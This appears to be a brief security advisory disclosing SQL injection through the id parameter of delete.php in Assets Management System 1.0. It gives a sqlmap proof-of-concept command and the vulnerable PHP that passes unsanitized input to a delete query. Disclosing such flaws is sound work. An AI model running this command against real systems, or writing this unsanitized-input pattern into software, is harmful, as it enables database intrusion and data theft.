
Assets Management System 1.0 is vulnerable to SQL injection via the id parameter in delete.php
Description
Assets Management System 1.0 is vulnerable to SQL injection via the id parameter in delete.php
PoC
sqlmap -u 'http://localhost/delete.php?id=4*' --cookie="PHPSESSID=SESSID" --dbms=MySQL --dbs --batch

Code review (delete.php)
<?php include 'core/init.php';
$id = $_GET['id'];
delete_data($con,$id);
header('location:home.php');
There is no validation or sanitization of the $id variable. It means that any value provided by a user as the id parameter, will be directly used in the SQL query